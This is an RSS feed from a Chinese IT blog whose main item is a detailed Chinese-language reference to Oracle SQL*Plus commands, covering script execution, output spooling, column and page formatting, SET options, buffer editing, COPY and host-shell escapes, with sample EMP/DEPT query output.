﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客-&lt;marquee&gt;&lt;font color=red&gt;放飞梦想---请牢记本站域名:www.itla.com.cn欢迎再次来访！！&lt;/h3&gt;&lt;/marquee&gt;</title><link>http://www.cnitblog.com/flydream/</link><description>&lt;font color=yellow&gt;&lt;h3&gt;　　路漫漫其修远兮，吾将上下而求索………&lt;/h3&gt;&lt;/font&gt;
&lt;IFRAME align="left" bgcolor=red border=0 name=sina_roll marginWidth=0 marginHeight=0 src="
http://news.sina.com.cn/o/allnews/input/index.html" frameBorder=No width="100%" 
scrolling=no hspace=60 height=15&gt;&lt;/iframe&gt;
</description><language>zh-cn</language><lastBuildDate>Wed, 29 Apr 2026 06:00:41 GMT</lastBuildDate><pubDate>Wed, 29 Apr 2026 06:00:41 GMT</pubDate><ttl>60</ttl><item><title>qq</title><link>http://www.cnitblog.com/flydream/archive/2007/08/19/32059.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Sun, 19 Aug 2007 00:04:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/08/19/32059.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/32059.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/08/19/32059.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/32059.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/32059.html</trackback:ping><description><![CDATA[<img height=768 alt="" src="http://www.cnitblog.com/images/cnitblog_com/flydream/full.gif" width=557 border=0><img src ="http://www.cnitblog.com/flydream/aggbug/32059.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-08-19 08:04 <a href="http://www.cnitblog.com/flydream/archive/2007/08/19/32059.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>  SQL*PLUS命令的使用大全 </title><link>http://www.cnitblog.com/flydream/archive/2007/07/31/30970.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Tue, 31 Jul 2007 03:28:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/07/31/30970.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/30970.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/07/31/30970.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/30970.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/30970.html</trackback:ping><description><![CDATA[&nbsp; <strong>SQL*PLUS命令的使用大全</strong> <br>&nbsp; &nbsp; <br>&nbsp; &nbsp;&nbsp; &nbsp; Oracle的sql*plus是与oracle进行交互的客户端工具。在sql*plus中，可以运行sql*plus命令与sql*plus语句。 <br>&nbsp; &nbsp;我们通常所说的DML、DDL、DCL语句都是sql*plus语句，它们执行完后，都可以保存在一个被称为<u><strong><font color=#ff0000>sql</font></strong></u> buffer的内存区域中，并且只能保存一条最近执行的<u><strong><font color=#ff0000>sql</font></strong></u>语句，我们可以对保存在<u><strong><font color=#ff0000>sql</font></strong></u> buffer中的<u><strong><font color=#ff0000>sql</font></strong></u> 语句进行修改，然后再次执行，sql*plus一般都与数据库打交道。 <br>&nbsp; &nbsp;除了sql*plus语句，在sql*plus中执行的其它语句我们称之为sql*plus命令。它们执行完后，不保存在<u><strong><font color=#ff0000>sql</font></strong></u> buffer的内存区域中，它们一般用来对输出的结果进行格式化显示，以便于制作报表。 <br>&nbsp; &nbsp;下面就介绍一下一些常用的sql*plus命令： <br>&nbsp;&nbsp;<br>1. 执行一个<u><strong><font color=#ff0000>SQL</font></strong></u>脚本文件 <br>SQL&gt;start file_name <br>SQL&gt;@ file_name <br>我们可以将多条<u><strong><font color=#ff0000>sql</font></strong></u>语句保存在一个文本文件中，这样当要执行这个文件中的所有的<u><strong><font color=#ff0000>sql</font></strong></u>语句时，用上面的任一命令即可，这类似于dos中的批处理。 <br><br>@与@@的区别是什么？<br>@等于start命令，用来运行一个<u><strong><font color=#ff0000>sql</font></strong></u>脚本文件。<br>@命令调用当前目录下的，或指定全路径，或可以通过SQLPATH环境变量搜寻到的脚本文件。该命令使用是一般要指定要执行的文件的全路径，否则从缺省路径(可用SQLPATH变量指定)下读取指定的文件。<br>@@用在<u><strong><font color=#ff0000>sql</font></strong></u>脚本文件中，用来说明用@@执行的<u><strong><font color=#ff0000>sql</font></strong></u>脚本文件与@@所在的文件在同一目录下，而不用指定要执行<u><strong><font color=#ff0000>sql</font></strong></u>脚本文件的全路径，也不是从SQLPATH环境变量指定的路径中寻找<u><strong><font color=#ff0000>sql</font></strong></u>脚本文件，该命令一般用在脚本文件中。<br>如：在c:\temp目录下有文件start.sql和nest_start.sql，start.sql脚本文件的内容为：<br>@@nest_start.sql&nbsp; &nbsp;&nbsp;&nbsp;- - 相当于@ c:\temp\nest_start.sql<br>则我们在sql*plus中，这样执行：<br>SQL&gt; @ c:\temp\start.sql <br><br><br>2. 对当前的输入进行编辑 <br>SQL&gt;edit <br>&nbsp;&nbsp;<br>3. 重新运行上一次运行的<u><strong><font color=#ff0000>sql</font></strong></u>语句 <br>SQL&gt;/ <br>&nbsp;&nbsp;<br>4. 将显示的内容输出到指定文件 <br>SQL&gt; SPOOL file_name <br>&nbsp; &nbsp;在屏幕上的所有内容都包含在该文件中，包括你输入的<u><strong><font color=#ff0000>sql</font></strong></u>语句。 <br>&nbsp;&nbsp;<br>5. 关闭spool输出 <br>SQL&gt; SPOOL OFF <br>&nbsp; &nbsp;只有关闭spool输出，才会在输出文件中看到输出的内容。 <br>&nbsp;&nbsp;<br>6．显示一个表的结构 <br>SQL&gt; desc table_name <br>&nbsp;&nbsp;<br>7. COL命令： <br>主要格式化列的显示形式。 <br>该命令有许多选项，具体如下： <br>COL[UMN] [{ column|expr} [ option ...]] <br>Option选项可以是如下的子句: <br>ALI[AS] alias <br>CLE[AR] <br>FOLD_A[FTER] <br>FOLD_B[EFORE] <br>FOR[MAT] format <br>HEA[DING] text <br>JUS[TIFY] {L[EFT]|C[ENTER]|C[ENTRE]|R[IGHT]} <br>LIKE { expr|alias} <br>NEWL[INE] <br>NEW_V[ALUE] variable <br>NOPRI[NT]|PRI[NT] <br>NUL[L] text <br>OLD_V[ALUE] variable <br>ON|OFF <br>WRA[PPED]|WOR[D_WRAPPED]|TRU[NCATED] <br>&nbsp;&nbsp;<br>1). 改变缺省的列标题 <br>COLUMN column_name HEADING column_heading <br>For example: <br>Sql&gt;select * from dept; <br>&nbsp; &nbsp;&nbsp;&nbsp;DEPTNO DNAME&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;LOC <br>---------- ---------------------------- --------- <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;10 ACCOUNTING&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; NEW YORK <br>sql&gt;col&nbsp;&nbsp;LOC heading location <br>sql&gt;select * from dept; <br>&nbsp; &nbsp; DEPTNO DNAME&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;location <br>--------- ---------------------------- ----------- <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;10 ACCOUNTING&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; NEW YORK <br>&nbsp;&nbsp;<br>2). 将列名ENAME改为新列名EMPLOYEE NAME并将新列名放在两行上： <br>Sql&gt;select * from emp <br>Department&nbsp;&nbsp;name&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Salary <br>---------- ---------- ---------- <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;10 aaa&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 11&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;<br>SQL&gt; COLUMN ENAME HEADING &#8217;Employee|Name&#8217; <br>Sql&gt;select * from emp <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;Employee <br>Department&nbsp;&nbsp;name&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Salary <br>---------- ---------- ----------&nbsp;&nbsp;<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;10 aaa&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 11 <br>note: the col heading turn into two lines from one line. <br>&nbsp;&nbsp;<br>3). 改变列的显示长度： <br>FOR[MAT] format <br>Sql&gt;select empno,ename,job from emp; <br>&nbsp; &nbsp;&nbsp; &nbsp;EMPNO ENAME&nbsp; &nbsp;&nbsp; &nbsp;JOB&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br>---------- ----------&nbsp; &nbsp;&nbsp;&nbsp;--------- <br>&nbsp; &nbsp;&nbsp; &nbsp; 7369 SMITH&nbsp; &nbsp;&nbsp; &nbsp;CLERK&nbsp; &nbsp;&nbsp; &nbsp;<br>&nbsp; &nbsp;&nbsp; &nbsp; 7499 ALLEN&nbsp; &nbsp;&nbsp; &nbsp;SALESMAN&nbsp; &nbsp;<br>7521 WARD&nbsp; &nbsp;&nbsp; &nbsp; SALESMAN&nbsp; &nbsp;<br>Sql&gt; col ename format a40 <br>&nbsp; &nbsp;&nbsp; &nbsp;EMPNO ENAME&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;JOB <br>----------&nbsp; &nbsp;----------------------------------------&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;--------- <br>&nbsp; &nbsp;&nbsp; &nbsp; 7369 SMITH&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;CLERK <br>&nbsp; &nbsp;&nbsp; &nbsp; 7499 ALLEN&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;SALESMAN <br>&nbsp; &nbsp;&nbsp; &nbsp; 7521 WARD&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;SALESMAN <br>&nbsp;&nbsp;<br>4). 设置列标题的对齐方式 <br>JUS[TIFY] {L[EFT]|C[ENTER]|C[ENTRE]|R[IGHT]} <br>SQL&gt; col ename justify center <br>SQL&gt; / <br>&nbsp; &nbsp;&nbsp; &nbsp;EMPNO&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;ENAME&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; JOB <br>----------&nbsp; &nbsp;----------------------------------------&nbsp; &nbsp;&nbsp; &nbsp; --------- <br>&nbsp; &nbsp;&nbsp; &nbsp; 7369 SMITH&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;CLERK <br>&nbsp; &nbsp;&nbsp; &nbsp; 7499 ALLEN&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;SALESMAN <br>7521 WARD&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; SALESMAN <br>对于NUMBER型的列，列标题缺省在右边，其它类型的列标题缺省在左边 <br>&nbsp;&nbsp;<br>5). 不让一个列显示在屏幕上 <br>NOPRI[NT]|PRI[NT] <br>SQL&gt; col job noprint <br>SQL&gt; / <br>&nbsp; &nbsp;&nbsp; &nbsp;EMPNO&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;ENAME <br>----------&nbsp; &nbsp;&nbsp;&nbsp;---------------------------------------- <br>&nbsp; &nbsp;&nbsp; &nbsp; 7369 SMITH <br>&nbsp; &nbsp;&nbsp; &nbsp; 7499 ALLEN <br>7521 WARD <br>&nbsp;&nbsp;<br>6). 格式化NUMBER类型列的显示： <br>SQL&gt; COLUMN SAL FORMAT $99,990 <br>SQL&gt; / <br>Employee <br>Department Name&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Salary&nbsp; &nbsp; Commission <br>---------- ---------- --------- ---------- <br>30&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; ALLEN&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;$1,600&nbsp; &nbsp; 300 <br>&nbsp;&nbsp;<br>7). 显示列值时，如果列值为NULL值，用text值代替NULL值 <br>COMM NUL[L] text <br>SQL&gt;COL COMM NUL[L] text <br>&nbsp;&nbsp;<br>8). 设置一个列的回绕方式 <br>WRA[PPED]|WOR[D_WRAPPED]|TRU[NCATED] <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;COL1 <br>-------------------- <br>HOW ARE YOU? <br>&nbsp;&nbsp;<br>SQL&gt;COL COL1 FORMAT A5 <br>SQL&gt;COL COL1 WRAPPED <br>COL1 <br>----- <br>HOW A <br>RE YO <br>U? <br>&nbsp;&nbsp;<br>SQL&gt; COL COL1 WORD_WRAPPED <br>COL1 <br>----- <br>HOW <br>ARE <br>YOU? <br>&nbsp;&nbsp;<br>SQL&gt; COL COL1 WORD_WRAPPED <br>COL1 <br>----- <br>HOW A <br>&nbsp;&nbsp;<br>9). 显示列的当前的显示属性值 <br>SQL&gt; COLUMN column_name <br>&nbsp;&nbsp;<br>10). 将所有列的显示属性设为缺省值 <br>SQL&gt; CLEAR COLUMNS <br>&nbsp;&nbsp;<br>8. 屏蔽掉一个列中显示的相同的值 <br>BREAK ON break_column <br>SQL&gt; BREAK ON DEPTNO <br>SQL&gt; SELECT DEPTNO, ENAME, SAL <br>FROM EMP <br>&nbsp;&nbsp;WHERE SAL &amp;lt; 2500 <br>&nbsp;&nbsp;ORDER BY DEPTNO; <br>DEPTNO&nbsp; &nbsp;&nbsp; &nbsp;ENAME&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;SAL <br>---------- ----------- --------- <br>10&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;CLARK&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;2450 <br>MILLER&nbsp; &nbsp;&nbsp; &nbsp;1300 <br>20&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;SMITH&nbsp; &nbsp;&nbsp; &nbsp; 800 <br>ADAMS&nbsp; &nbsp;&nbsp; &nbsp; 1100 <br>&nbsp;&nbsp;<br>9. 在上面屏蔽掉一个列中显示的相同的值的显示中，每当列值变化时在值变化之前插入n个空行。 <br>BREAK ON break_column SKIP n <br>&nbsp;&nbsp;<br>SQL&gt; BREAK ON DEPTNO SKIP 1 <br>SQL&gt; / <br>DEPTNO ENAME SAL <br>---------- ----------- --------- <br>10 CLARK 2450 <br>MILLER 1300 <br>&nbsp;&nbsp;<br>20 SMITH 800 <br>ADAMS 1100 <br>&nbsp;&nbsp;<br>10. 显示对BREAK的设置 <br>SQL&gt; BREAK <br>&nbsp;&nbsp;<br>11. 删除6、7的设置 <br>SQL&gt; CLEAR BREAKS <br>&nbsp;&nbsp;<br>12. Set 命令： <br>该命令包含许多子命令： <br>SET system_variable value <br>system_variable value 可以是如下的子句之一： <br>APPI[NFO]{ON|OFF|text} <br>ARRAY[SIZE] {15|n} <br>AUTO[COMMIT]{ON|OFF|IMM[EDIATE]|n} <br>AUTOP[RINT] {ON|OFF} <br>AUTORECOVERY [ON|OFF] <br>AUTOT[RACE] {ON|OFF|TRACE[ONLY]} [EXP[LAIN]] [STAT[ISTICS]] <br>BLO[CKTERMINATOR] {.|c} <br>CMDS[EP] {;|c|ON|OFF} <br>COLSEP {_|text} <br>COM[PATIBILITY]{V7|V8|NATIVE} <br>CON[CAT] {.|c|ON|OFF} <br>COPYC[OMMIT] {0|n} <br>COPYTYPECHECK {ON|OFF} <br>DEF[INE] {&amp;|c|ON|OFF} <br>DESCRIBE [DEPTH {1|n|ALL}][LINENUM {ON|OFF}][INDENT {ON|OFF}] <br>ECHO {ON|OFF} <br>EDITF[ILE] file_name[.ext] <br>EMB[EDDED] {ON|OFF} <br>ESC[APE] {\|c|ON|OFF} <br>FEED[BACK] {6|n|ON|OFF} <br>FLAGGER {OFF|ENTRY |INTERMED[IATE]|FULL} <br>FLU[SH] {ON|OFF} <br>HEA[DING] {ON|OFF} <br>HEADS[EP] {||c|ON|OFF} <br>INSTANCE [instance_path|LOCAL] <br>LIN[ESIZE] {80|n} <br>LOBOF[FSET] {n|1} <br>LOGSOURCE [pathname] <br>LONG {80|n} <br>LONGC[HUNKSIZE] {80|n} <br>MARK[UP] HTML [ON|OFF] [HEAD text] [BODY text] [ENTMAP {ON|OFF}] [SPOOL <br>{ON|OFF}] [PRE[FORMAT] {ON|OFF}] <br>NEWP[AGE] {1|n|NONE} <br>NULL text <br>NUMF[ORMAT] format <br>NUM[WIDTH] {10|n} <br>PAGES[IZE] {24|n} <br>PAU[SE] {ON|OFF|text} <br>RECSEP {WR[APPED]|EA[CH]|OFF} <br>RECSEPCHAR {_|c} <br>SERVEROUT[PUT] {ON|OFF} [SIZE n] [FOR[MAT] {WRA[PPED]|WOR[D_ <br>WRAPPED]|TRU[NCATED]}] <br>SHIFT[INOUT] {VIS[IBLE]|INV[ISIBLE]} <br>SHOW[MODE] {ON|OFF} <br>SQLBL[ANKLINES] {ON|OFF} <br>SQLC[ASE] {MIX[ED]|LO[WER]|UP[PER]} <br>SQLCO[NTINUE] {&gt; |text} <br>SQLN[UMBER] {ON|OFF} <br>SQLPRE[FIX] {#|c} <br>SQLP[ROMPT] {SQL&gt;|text} <br>SQLT[ERMINATOR] {;|c|ON|OFF} <br>SUF[FIX] {SQL|text} <br>TAB {ON|OFF} <br>TERM[OUT] {ON|OFF} <br>TI[ME] {ON|OFF} <br>TIMI[NG] {ON|OFF} <br>TRIM[OUT] {ON|OFF} <br>TRIMS[POOL] {ON|OFF} <br>UND[ERLINE] {-|c|ON|OFF} <br>VER[IFY] {ON|OFF} <br>WRA[P] {ON|OFF} <br>&nbsp;&nbsp;<br>1). 设置当前session是否对修改的数据进行自动提交 <br>SQL&gt;SET AUTO[COMMIT] {ON|OFF|IMM[EDIATE]| n} <br>&nbsp;&nbsp;<br>2)．在用start命令执行一个<u><strong><font color=#ff0000>sql</font></strong></u>脚本时，是否显示脚本中正在执行的<u><strong><font color=#ff0000>SQL</font></strong></u>语句 <br>SQL&gt; SET ECHO {ON|OFF} <br>&nbsp;&nbsp;<br>3).是否显示当前<u><strong><font color=#ff0000>sql</font></strong></u>语句查询或修改的行数 <br>SQL&gt; SET FEED[BACK] {6|n|ON|OFF} <br>&nbsp; &nbsp;默认只有结果大于6行时才显示结果的行数。如果set feedback 1 ，则不管查询到多少行都返回。当为off 时，一律不显示查询的行数 <br>&nbsp;&nbsp;<br>4).是否显示列标题 <br>SQL&gt; SET HEA[DING] {ON|OFF} <br>当set heading off 时，在每页的上面不显示列标题，而是以空白行代替 <br>&nbsp;&nbsp;<br>5).设置一行可以容纳的字符数 <br>SQL&gt; SET LIN[ESIZE] {80|n} <br>&nbsp; &nbsp;如果一行的输出内容大于设置的一行可容纳的字符数，则折行显示。 <br>&nbsp;&nbsp;<br>6).设置页与页之间的分隔 <br>SQL&gt; SET NEWP[AGE] {1|n|NONE} <br>当set newpage 0 时，会在每页的开头有一个小的黑方框。 <br>当set newpage n 时，会在页和页之间隔着n个空行。 <br>当set newpage none 时，会在页和页之间没有任何间隔。 <br>&nbsp;&nbsp;<br>7).显示时，用text值代替NULL值 <br>SQL&gt; SET NULL text <br>&nbsp;&nbsp;<br>8).设置一页有多少行数 <br>SQL&gt; SET PAGES[IZE] {24|n} <br>如果设为0，则所有的输出内容为一页并且不显示列标题 <br>&nbsp;&nbsp;<br>9).是否显示用DBMS_OUTPUT.PUT_LINE包进行输出的信息。 <br>SQL&gt; SET SERVEROUT[PUT] {ON|OFF}&nbsp;&nbsp;<br>在编写存储过程时，我们有时会用dbms_output.put_line将必要的信息输出，以便对存储过程进行调试，只有将serveroutput变量设为on后，信息才能显示在屏幕上。 <br>&nbsp;&nbsp;<br>10).当<u><strong><font color=#ff0000>SQL</font></strong></u>语句的长度大于LINESIZE时，是否在显示时截取<u><strong><font color=#ff0000>SQL</font></strong></u>语句。 <br>SQL&gt; SET WRA[P] {ON|OFF} <br>&nbsp; &nbsp;当输出的行的长度大于设置的行的长度时（用set linesize n命令设置），当set wrap on时，输出行的多于的字符会另起一行显示，否则，会将输出行的多于字符切除，不予显示。 <br>&nbsp;&nbsp;<br>11).是否在屏幕上显示输出的内容，主要用与SPOOL结合使用。 <br>SQL&gt; SET TERM[OUT] {ON|OFF} <br>&nbsp; &nbsp;在用spool命令将一个大表中的内容输出到一个文件中时，将内容输出在屏幕上会耗费大量的时间，设置set termspool off后，则输出的内容只会保存在输出文件中，不会显示在屏幕上，极大的提高了spool的速度。 <br>&nbsp;&nbsp;<br>12).将SPOOL输出中每行后面多余的空格去掉 <br>SQL&gt; SET TRIMS[OUT] {ON|OFF}&nbsp;&nbsp;<br>&nbsp; &nbsp; <br>13)显示每个<u><strong><font color=#ff0000>sql</font></strong></u>语句花费的执行时间 <br>set TIMING&nbsp;&nbsp;{ON|OFF} <br><br>14). 遇到空行时不认为语句已经结束，从后续行接着读入。<br>SET SQLBLANKLINES ON<br>Sql*plus中, 不允许<u><strong><font color=#ff0000>sql</font></strong></u>语句中间有空行, 这在从其它地方拷贝脚本到sql*plus中执行时很麻烦. 比如下面的脚本:<br>select deptno, empno, ename<br>from emp<br><br>where empno = '7788';<br>如果拷贝到sql*plus中执行, 就会出现错误。这个命令可以解决该问题<br><br>15).设置DBMS_OUTPUT的输出<br>SET SERVEROUTPUT ON BUFFER 20000<br>用dbms_output.put_line('strin_content');可以在存储过程中输出信息，对存储过程进行调试<br>如果想让dbms_output.put_line('&nbsp; &nbsp;&nbsp;&nbsp;abc');的输出显示为：<br>SQL&gt;&nbsp; &nbsp;&nbsp;&nbsp;abc，而不是SQL&gt;abc，则在SET SERVEROUTPUT ON后加format wrapped参数。<br><br>16). 输出的数据为html格式<br>set markup html<br>在8.1.7版本(也许是816? 不太确定)以后, sql*plus中有一个set markup html的命令, 可以将sql*plus的输出以html格式展现.<br>注意其中的spool on, 当在屏幕上输出的时候, 我们看不出与不加spool on有什么区别, 但是当我们使用spool filename 输出到文件的时候, 会看到spool文件中出现了等tag.<br><br><br>14．修改<u><strong><font color=#ff0000>sql</font></strong></u> buffer中的当前行中，第一个出现的字符串 <br>C[HANGE] /old_value/new_value <br>SQL&gt; l <br>&nbsp; &nbsp;1* select * from dept <br>SQL&gt; c/dept/emp <br>&nbsp; &nbsp;1* select * from emp <br>&nbsp;&nbsp;<br>15．编辑<u><strong><font color=#ff0000>sql</font></strong></u> buffer中的<u><strong><font color=#ff0000>sql</font></strong></u>语句 <br>EDI[T] <br>&nbsp;&nbsp;<br>16．显示<u><strong><font color=#ff0000>sql</font></strong></u> buffer中的<u><strong><font color=#ff0000>sql</font></strong></u>语句，list n显示<u><strong><font color=#ff0000>sql</font></strong></u> buffer中的第n行，并使第n行成为当前行 <br>L[IST] [n] <br>&nbsp;&nbsp;<br>17．在<u><strong><font color=#ff0000>sql</font></strong></u> buffer的当前行下面加一行或多行 <br>I[NPUT] <br>&nbsp;&nbsp;<br>18．将指定的文本加到<u><strong><font color=#ff0000>sql</font></strong></u> buffer的当前行后面 <br>A[PPEND] <br>SQL&gt; select deptno, <br>&nbsp; &nbsp;2&nbsp;&nbsp;dname <br>&nbsp; &nbsp;3&nbsp;&nbsp;from dept; <br>&nbsp; &nbsp;&nbsp;&nbsp;DEPTNO DNAME <br>---------- -------------- <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;10 ACCOUNTING <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;20 RESEARCH <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;30 SALES <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;40 OPERATIONS <br>&nbsp;&nbsp;<br>SQL&gt; L 2 <br>&nbsp; &nbsp;2* dname <br>SQL&gt; a ,loc <br>&nbsp; &nbsp;2* dname,loc <br>SQL&gt; L <br>&nbsp; &nbsp;1&nbsp;&nbsp;select deptno, <br>&nbsp; &nbsp;2&nbsp;&nbsp;dname,loc <br>&nbsp; &nbsp;3* from dept <br>SQL&gt; / <br>&nbsp;&nbsp;<br>&nbsp; &nbsp;&nbsp;&nbsp;DEPTNO DNAME&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; LOC <br>---------- -------------- ------------- <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;10 ACCOUNTING&nbsp; &nbsp;&nbsp;&nbsp;NEW YORK <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;20 RESEARCH&nbsp; &nbsp;&nbsp; &nbsp; DALLAS <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;30 SALES&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; CHICAGO <br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;40 OPERATIONS&nbsp; &nbsp;&nbsp;&nbsp;BOSTON <br>&nbsp;&nbsp;<br>19．将<u><strong><font color=#ff0000>sql</font></strong></u> buffer中的<u><strong><font color=#ff0000>sql</font></strong></u>语句保存到一个文件中 <br>SAVE file_name <br>&nbsp;&nbsp;<br>20．将一个文件中的<u><strong><font color=#ff0000>sql</font></strong></u>语句导入到<u><strong><font color=#ff0000>sql</font></strong></u> buffer中 <br>GET file_name <br>&nbsp;&nbsp;<br>21．再次执行刚才已经执行的<u><strong><font color=#ff0000>sql</font></strong></u>语句 <br>RUN <br>or <br>/ <br>&nbsp;&nbsp;<br>22．执行一个存储过程 <br>EXECUTE procedure_name <br>&nbsp;&nbsp;<br>23．在sql*plus中连接到指定的数据库 <br>CONNECT user_name/passwd@db_alias <br>&nbsp;&nbsp;<br>24．设置每个报表的顶部标题 <br>TTITLE <br>&nbsp;&nbsp;<br>25．设置每个报表的尾部标题 <br>BTITLE <br>&nbsp;&nbsp;<br>26．写一个注释 <br>REMARK [text] <br>&nbsp;&nbsp;<br>27．将指定的信息或一个空行输出到屏幕上 <br>PROMPT [text] <br>&nbsp;&nbsp;<br>28．将执行的过程暂停，等待用户响应后继续执行 <br>PAUSE [text] <br>&nbsp;&nbsp;<br>Sql&gt;PAUSE Adjust paper and press RETURN to continue. <br>&nbsp;&nbsp;<br>29．将一个数据库中的一些数据拷贝到另外一个数据库（如将一个表的数据拷贝到另一个数据库） <br>COPY {FROM database | TO database | FROM database TO database} <br>{APPEND|CREATE|INSERT|REPLACE} destination_table <br>[(column, column, column, ...)] USING query <br>&nbsp;&nbsp;<br>sql&gt;COPY FROM SCOTT/TIGER@HQ TO JOHN/CHROME@WEST&nbsp;&nbsp;<br>create emp_temp <br>USING SELECT * FROM EMP <br>&nbsp;&nbsp;<br>30．不退出sql*plus，在sql*plus中执行一个操作系统命令： <br>HOST <br>&nbsp;&nbsp;<br>Sql&gt; host hostname <br>该命令在windows下可能被支持。 <br>&nbsp;&nbsp;<br>31．在sql*plus中，切换到操作系统命令提示符下，运行操作系统命令后，可以再次切换回sql*plus： <br>! <br>&nbsp;&nbsp;<br>sql&gt;! <br>$hostname <br>$exit <br>sql&gt; <br>&nbsp;&nbsp;<br>该命令在windows下不被支持。 